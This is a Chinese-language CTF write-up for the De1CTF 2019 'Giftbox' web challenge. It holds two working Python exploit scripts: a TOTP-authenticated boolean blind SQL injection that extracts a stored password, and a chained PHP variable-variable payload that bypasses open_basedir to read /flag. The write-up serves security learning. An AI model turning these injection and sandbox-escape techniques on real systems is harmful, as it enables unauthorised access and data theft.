刷题笔记:[De1CTF 2019]Giftbox


前言

关键字:[TOTP]

太高级了

题解

main.js里给了TOTP的参数

TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法。它已被采纳为Internet工程任务组标准RFC 6238,是Initiative for Open Authentication(OATH)的基石,并被用于许多双因素身份验证系统。
TOTP是基于散列的消息认证码(HMAC)的示例。它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证,因此时间戳通常以30秒的间隔增加,从而减少了潜在的搜索空间。

服务端时间与客户端时间相差大于15秒,需要先计算正确的totp才能调用shell.php

提示了python库

有login。没想到竟然是sql注入。

跑脚本跑出密码

import requests
from urllib.parse import quote
import pyotp
import time

url = 'http://846fb157-5d7f-4e34-95a9-afbd58d33544.node4.buuoj.cn:81/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()

length = 0
left = 0x0
right = 0xff
while True:
    mid = int((right - left) / 2 + left)
    if mid == left:
        length = mid
        break
    username = "'/**/or/**/if(length((select/**/password/**/from/**/users/**/limit/**/1))>=%d,1,0)#" % mid
    password = "b"
    payload = 'login %s %s' % (username, password)
    payload = quote(payload)
    payload = url % (payload, totp.now())
    res = s.get(payload).text
    time.sleep(0.1)
    if 'incorrect' in res:
        left = mid
    else:
        right = mid
print(length)

real_password = ''
for i in range(1, length + 1):
    left = 0x20
    right = 0x7e
    while True:
        mid = int((right - left) / 2 + left)
        if mid == left:
            real_password += chr(mid)
            break
        username = "'/**/or/**/if(ascii(substr((select/**/password/**/from/**/users/**/limit/**/1),%d,1))>=%d,1,0)#" % (
            i, mid)
        password = "b"
        payload = 'login %s %s' % (username, password)
        payload = quote(payload)
        payload = url % (payload, totp.now())
        res = s.get(payload).text
        time.sleep(0.1)
        if 'incorrect' in res:
            left = mid
        else:
            right = mid
    print(real_password)
    if len(real_password) < i:
        print('No.%d char not in range' % i)
        break

跑出密码

hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

里面还有个隐藏命令sh0w_hiiintttt_23333

、

launch前需要先用targeting设置,不过对输入有限制,这里可以fuzz一下,得知code限制a-zA-Z0-9position限制a-zA-Z0-9})$({_+-,.,而且两者的长度也有限制。

这里需要用php可变变量构造和拼接payload

构造payload,绕过open_basedir的限制,写个脚本就能拿到flag

最长11个字符

脚本

import requests
from urllib.parse import quote
import pyotp
import time

url = 'http://846fb157-5d7f-4e34-95a9-afbd58d33544.node4.buuoj.cn:81/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()


def login(password):
    username = 'admin'
    payload = 'login %s %s' % (username, password)
    payload = quote(payload)
    payload = url % (payload, totp.now())
    s.get(payload)
    time.sleep(0.1)


def destruct():
    payload = 'destruct'
    payload = quote(payload)
    payload = url % (payload, totp.now())
    s.get(payload)
    time.sleep(0.1)


def targeting(code, position):
    payload = 'targeting %s %s' % (code, position)
    payload = quote(payload)
    payload = url % (payload, totp.now())
    s.get(payload)
    time.sleep(0.1)


def launch():
    payload = 'launch'
    payload = quote(payload)
    payload = url % (payload, totp.now())
    time.sleep(0.1)
    return s.get(payload).text


login('hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}')
destruct()
targeting('a', 'chr')
targeting('b', '{$a(46)}')  # $b={chr(46)}=.
targeting('c', '{$b}{$b}')  # $c=..
targeting('d', '{$a(47)}')  # $d={chr(47)}=/
targeting('e', 'js')  # $e=js
targeting('f', 'open_basedir')  # $f=open_basedir
targeting('g', 'chdir')  # $g=chdir
targeting('h', 'ini_set')  # $h=ini_set
targeting('i', 'file_get_')  # $i=file_get_
targeting('j', '{$i}contents')  # $j=file_get_contents
targeting('k', '{$g($e)}')  # $k=chdir(js)
targeting('l', '{$h($f,$c)}')  # $l=ini_set(open_basedir,..)
targeting('m', '{$g($c)}')  # $m=chdir(..)
targeting('n', '{$h($f,$d)}')  # $n=ini_set(open_basedir,/)
targeting('o', '{$d}flag')  # $o=/flag
targeting('p', '{$j($o)}')  # $p=file_get_contents(/flag)
targeting('q', 'printf')  # $q=printf
targeting('r', '{$q($p)}')  # $r=printf(file_get_contents(/flag))
print(launch())

由结果推过程,那大概就是先设置变量作为需要执行的命令,然后lanuch就会运行。

这真想不到,太难了。

参考链接

https://github.com/De1ta-team/De1CTF2019/blob/master/writeup/web/Giftbox/readme_zh.md


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录